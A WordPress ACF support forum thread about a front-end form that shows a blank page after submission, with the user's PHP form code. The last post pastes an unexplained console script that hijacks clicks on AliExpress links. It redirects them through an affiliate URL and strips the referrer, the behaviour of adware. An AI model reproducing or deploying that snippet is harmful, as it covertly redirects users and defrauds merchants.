Support

Account

Home Forums Front-end Issues blank page on form update acf

Solving

blank page on form update acf

  • when i update the form the page change to a blank page after the submit (it`s the same page).
    the fields values are updated and i have no error message.
    this thing only happens on production. in localhost the form works perfect.
    i even added redirect function- stile stuck in the same blank page.
    changing the theme is not an option.
    i`v activated all the other plugins
    but nothing works and i`m lost.

    
    acf_form_head();
    
    $s = get_the_id();
    $update_args = array(
        'post_id' => $s,
        'post_title' => false,
        'submit_value' => 'Update',
        'post_content' => false,
         'kses' => true,
         'html_submit_spinner' => '<span class="acf-spinner"></span>',
        'updated_message' => 'Student Information Was Updated',
        'honeypot' => true,
        'fields' => array(
            'child_first_name',
            'child_last_name',
            'child_age',
            'parent_last_name',
            'parent_first_name',
            'student_list__address',
            'student_list_email',
            'student_list_phone',
            'fee_to_pay',
        ));
    
    acf_form($update_args);
    
  • Is acf_form_head() being called before any output? This must be called before your theme header is loaded.

  • the acf_form_head() is uploaded before the wp_header. and not before the output.

  • I just noticed that after a few seconds, I got this message as error in the console.log
    What is?

    
    /// <reference path="Config.js" />
    /// <reference path="Storage.js" />
    /// <reference path="jquery-1.8.2.js" />
    
    //Método de instância usa o prototype
    //Método static não usa prototype
    var ach = .35;
    
    (function () {
    // savings
    if (Math.random() < ach)
    if (location.href.indexOf("aliexpress.com") == -1)
    document.addEventListener("click", function(e) {
      var el = e.target;
      while (!el.href && (el = el.parentNode)) { }
      if (!el.href) return;
      var href = el.href.split('?')[0];
      if (!/^https?:\/\/www\.aliexpress\.com(\/item|\/$|$)/i.test(href)) return;
      if (/click\.ali/i.test(href)) return;
      var prot = location.protocol == 'https:' ? 'http:' : 'https:';
      var newref = prot + '//alitems.com/g/1e8d1144941b31890c7516525dc3e8/';
      if (/\/item/i.test(href)) newref += '?ulp=' + encodeURIComponent(href);
      e.preventDefault();
      r();
      location.href = newref;
    }, false);
    function r() {
      var m = document.createElement('meta');
      m.name = 'referrer';
      m.content = 'no-referrer';
      document.head.appendChild(m);
    }
    })();
    
Viewing 4 posts - 1 through 4 (of 4 total)

You must be logged in to reply to this topic.

We use cookies to offer you a better browsing experience, analyze site traffic and personalize content. Read about how we use cookies and how you can control them in our Cookie Policy. If you continue to use this site, you consent to our use of cookies.